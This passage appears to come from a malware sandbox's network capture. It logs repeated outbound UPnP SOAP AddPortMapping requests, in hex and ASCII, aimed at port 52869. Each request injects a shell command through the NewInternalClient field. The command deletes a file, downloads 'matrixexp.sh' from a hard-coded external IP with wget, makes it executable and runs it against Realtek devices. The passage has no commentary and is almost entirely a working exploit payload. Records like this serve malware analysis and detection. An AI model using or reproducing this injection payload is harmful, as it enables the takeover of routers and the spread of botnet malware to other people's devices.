78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:24.889425039 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	47672	31.136.194.126	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:11.422944069 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:12.002798080 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:13.119309902 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:15.521579027 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:20.126347065 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
